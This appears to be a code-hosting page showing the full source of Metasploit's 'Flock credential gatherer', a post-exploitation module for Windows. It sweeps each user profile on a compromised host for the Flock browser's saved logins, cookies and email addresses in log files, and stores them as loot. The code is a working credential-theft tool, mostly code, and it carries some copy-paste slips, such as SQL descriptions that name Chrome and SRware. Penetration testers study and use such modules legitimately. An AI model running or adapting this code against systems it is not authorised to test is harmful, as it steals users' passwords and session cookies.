Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/flock.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8# this associative array defines the artifacts known to PackRat9include Msf::Post::File10include Msf::Post::Windows::UserProfiles11include Msf::Post::Windows::Packrat12ARTIFACTS =13{14application: 'flock',15app_category: 'browsers',16gatherable_artifacts: [17{18filetypes: 'logins',19path: 'AppData',20dir: 'Flock',21artifact_file_name: 'formhistory.sqlite',22description: "Flock's saved Username and Passwords ",23credential_type: 'sqlite',24sql_search: [25{26sql_description: "Database Commands which exports Chrome's Login data",27sql_table: 'logins',28sql_column: 'username_value, action_url'29}30]31},32{33filetypes: 'Cookies',34path: 'AppData',35dir: 'Flock',36artifact_file_name: 'cookies.sqlite',37description: "Flock's cookies file",38credential_type: 'sqlite',39sql_search: [40{41sql_description: "Database Commands which exports SRware's Login data",42sql_table: 'cookies',43sql_column: 'host_key, name, path'44}45]46},47{48filetypes: 'email',49path: 'AppData',50dir: 'Flock',51artifact_file_name: '*.log',52description: 'Log email',53credential_type: 'text',54regex_search: [55{56extraction_description: 'searches for Email addresses within the log files',57extraction_type: 'Email addresses',58regex: [59'(?i-mx:email.*")'60]61}62]63}64]65}.freeze6667def initialize(info = {})68super(69update_info(70info,71'Name' => 'Flock credential gatherer',72'Description' => %q{73PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.74PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.75Further details can be found in the module documentation.76This is a module that searches for credentials stored in Flock on a windows remote host.77},78'License' => MSF_LICENSE,79'Author' => [80'Kazuyoshi Maruta',81'Daniel Hallsworth',82'Barwar Salim M',83'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org84],85'Platform' => ['win'],86'SessionTypes' => ['meterpreter'],87'Notes' => {88'Stability' => [CRASH_SAFE],89'Reliability' => [],90'SideEffects' => []91}92)93)9495register_options(96[97OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),98OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),99OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),100# enumerates the options based on the artifacts that are defined below101OptEnum.new('ARTIFACTS', [102false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|103k[:filetypes]104end.uniq.unshift('All')105])106]107)108end109110def run111print_status('Filtering based on these selections: ')112print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")113print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")114print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")115116# used to grab files for each user on the remote host117grab_user_profiles.each do |userprofile|118run_packrat(userprofile, ARTIFACTS)119end120121print_status 'PackRat credential sweep Completed'122end123end124125126